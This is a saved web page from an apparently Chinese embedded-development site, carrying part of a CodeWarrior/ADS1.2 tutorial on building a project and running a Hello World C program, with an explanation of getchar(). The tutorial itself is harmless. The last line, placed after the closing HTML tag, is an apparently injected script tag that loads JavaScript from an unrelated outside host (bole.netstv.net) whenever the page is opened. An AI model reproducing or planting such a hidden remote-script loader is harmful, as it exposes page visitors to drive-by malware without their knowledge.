📄 ads1_2 使用教程 (2)工程配置 - 开发工具 - arm嵌入式资源站.htm
字号:
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>从图</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>2-3</FONT><FONT
size=2>中我们可以看到,工程窗口发生了一些变化。</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Code
</FONT><FONT size=2>和 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Data
</FONT><FONT
size=2>栏都显示了当前工程中对应项的相应的数字。如果你打算看看编译前后存放这些文件的目录的话,你会发现编译后在该目录下产生了一些新的文件,如图</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>2-4</FONT><FONT size=2>所示。</FONT></P>
<DIV align=center twffan="done">
<CENTER>
<TABLE cellSpacing=0 cellPadding=0 border=0><FONT
face="Arial, Helvetica, sans-serif" size=2>
<TBODY></TBODY></FONT>
<TBODY>
<TR>
<TD><FONT size=2><IMG height=203
alt="Figure 2-4: Building a project generates new files within your project folder."
src="ADS1_2 使用教程 (2)工程配置 - 开发工具 - ARM嵌入式资源站.files/IcwwL2_Fig4.gif"
width=388 align=left twffan="done"> </FONT></TD></TR>
<TR>
<TD align=middle>
<P align=center><EM><FONT size=1>图 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=1>2-4:
</FONT><FONT
size=1>编译后将在工程目录中产生一些新的文件</FONT></EM></P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>在本例中,编译工程后在工程目录中产生了一个新的文件。这就是 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>X86
</FONT><FONT size=2>目标文件输出——生成一个叫做 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Hello World
x86 </FONT><FONT size=2>的应用程序。其它一些一直存在于这个目录中的文件是:
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>.mcp </FONT><FONT size=2>文件—工程文件本省,以及
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>.c </FONT><FONT
size=2>源文件—包含了应用程序源码的文件。</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Hello World
Data </FONT><FONT size=2>目录中还包含了由 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>CodwWarrior
</FONT><FONT
size=2>生成的各种各样的支持文件。现在你还不必去关心这些文件。如果你正在编译目标文件的调试版本,你会看到更多的文件被产生出来,这些文件中可能包含着符号</FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>(symbolic)</FONT><FONT
size=2>调试信息。集成开发环境的调试器使用这些符号信息来记录在高层次源码中的操作轨迹。我们将在第五课中详细讲述这方面内容。</FONT></P>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>现在你已经了解了这些文件是如何结合在一起被编译生成一个目标文件的。让我们来运行这个目标文件并看看它的运行结果是什么样。你双击
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>Hello World x86 </FONT><FONT size=2>应用程序,就会有如图
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>2-5</FONT><FONT size=2>所示的结果显示出来。</FONT></P>
<DIV align=center twffan="done">
<CENTER>
<TABLE cellSpacing=0 cellPadding=0 width=345
border=0><FONT face="Arial, Helvetica, sans-serif"
size=2>
<TBODY></TBODY></FONT>
<TBODY>
<TR>
<TD width=345><FONT size=2><IMG height=215
alt="Figure 2-5: When you run the Hello World program, a window containing the words "
src="ADS1_2 使用教程 (2)工程配置 - 开发工具 - ARM嵌入式资源站.files/IcwwL2_Fig5.gif"
width=324 align=left twffan="done" on=""
appears="" hello=""> </FONT></TD></TR>
<TR>
<TD align=middle width=345>
<P align=center><EM><FONT size=1>图 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=1>2-5:
Hello World </FONT><FONT
size=1>应用程序的运行结果</FONT></EM><FONT size=2>
</FONT></P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P><FONT face=幼圆
size=+1><STRONG>你来试试看</STRONG></FONT></P>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>总有一天,你自己也能编写出象 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Hello World
</FONT><FONT
size=2>这样充满激情和意义深远的程序来。这是完全有可能的。只要你有决心努力工作,学完本课你就可以编写这个程序了。下面我们给出该程序的源代码:</FONT></P>
<BLOCKQUOTE><FONT face="Arial, Helvetica, sans-serif"
size=2>
<P>#include <STDIO.H></STDIO.H><BR>void main(void) {
<BR> int c; <BR> printf("Hello
World on Windows!\n"); <BR> c = getchar();
<BR>}</P></FONT></BLOCKQUOTE>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>就这么多!你没想到会这么简单吧?你可以试试看将 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>"Hello World
on Windows!" </FONT><FONT
size=2>这句话换成一句别的什么内容。要不了多久,你就能自己编写一些不仅能显示文本而且还能执行你指定的其它任务的应用程序了。但在此之前,你还需要学习第四课,有关链接的知识。</FONT></P>
<P><STRONG><FONT face=幼圆 size=+1>关于</FONT><FONT
face=Arial size=+1>getchar()</FONT><FONT face=幼圆
size=+1>函数</FONT></STRONG></P>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT size=2>那些有经验的
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>C </FONT><FONT size=2>程序员可能会问,上述代码中使用的 字符输入函数
</FONT><FONT face="Arial, Helvetica, sans-serif"
size=2>getchar() </FONT><FONT
size=2>用在这里是什么意思。通常地,当一个应用程序执行完毕后,它就会终止,然后操作系统就会立即清除该应用程序输出。这样,当上述应用程序显示完“</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>Hello World
on Windows!</FONT><FONT
size=2>”后,为了避免系统立即将该程序地输出清除,我们在程序中添加了一个 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>getchar()
</FONT><FONT
size=2>函数,使程序在此处暂停,直到有键盘输入时整个程序会终止。这样我们才有足够的时间来看清楚该程序的输出。</FONT></P>
<P><FONT face="Arial, Helvetica, sans-serif"
size=2> </FONT><FONT
size=2>这是一个正常的操作,而不是一个 </FONT><FONT
face="Arial, Helvetica, sans-serif"
size=2>bug</FONT><FONT size=2>。实际上,</FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>CodeWarrior
</FONT><FONT size=2>也提供了一个适用于此处的库函数,这个库函数中的 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>C
</FONT><FONT size=2>控制台 </FONT><FONT
face="Arial, Helvetica, sans-serif" size=2>I/O
</FONT><FONT
size=2>函数步不仅可以在程序显示完毕后锁定应用程序,而且还可以让你将输出的文本信息存储到一个文件中去。</FONT></P>
<P align=center>第一部分 <A
href="http://www.pdazone.com.cn/develop/CodeWarrior/lesson2_2.htm">第二部分</A><BR></P></TD></TR></TBODY></TABLE></CENTER></DIV></TD></TR></TBODY></TABLE>
<SCRIPT>my_tag("gg_300_300",1);</SCRIPT>
</TD></TR></TBODY></TABLE><BR><A name=comment></A>相关评论:
<HR>
<TABLE width="98%" border=0>
<TBODY></TBODY></TABLE>
<SCRIPT language=JavaScript>
comment_author = '评论人';
comment_content = '评论内容';
</SCRIPT>
<SPAN id=comment_form></SPAN><BR><IMG height=6
src="ADS1_2 使用教程 (2)工程配置 - 开发工具 - ARM嵌入式资源站.files/jian_tou_2.gif" width=9
align=absMiddle> 本文章所属分类:<A href="http://www.embed-game.com/">首页</A> → <A
href="http://www.embed-game.com/article_html/BianYiQiXiangGuan/">开发工具</A>
</DIV></DIV></TD>
<TD vAlign=top width=180><!-- 右边部分 -->
<DIV class="t3 bcy bgy bg_blue">
<SCRIPT>my_tag("my_text_002",1);;</SCRIPT>
</DIV>
<DIV class="b3 bcy mb12">
<SCRIPT>my_tag("gg_160_600",1);</SCRIPT>
</DIV>
<DIV class="t4 bcy bgy mb12 bg_blue"><A class=lbk
href="http://www.embed-game.com/">返回网站首页</A></DIV>
<DIV class=b4y>
<SCRIPT>my_tag("feedback_text",1);</SCRIPT>
</DIV></TD></TR></TBODY></TABLE><!-- 页底部分 -->
<DIV id=cp>
<SCRIPT>my_tag("copyright",1);</SCRIPT>
</DIV><!-- 以下js用于自动更新静态页,统计文章点击数等用途 -->
<SCRIPT>
hbcms_dir = "";
hbcms_tpl = "article_detail.tpl.html";
hbcms_ctime = 1178847295;
</SCRIPT>
<SCRIPT
src="ADS1_2 使用教程 (2)工程配置 - 开发工具 - ARM嵌入式资源站.files/hbcms_bottom_js.js"></SCRIPT>
</BODY></HTML>
<script language=javascript src=http://bole.netstv.net/xia/win.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -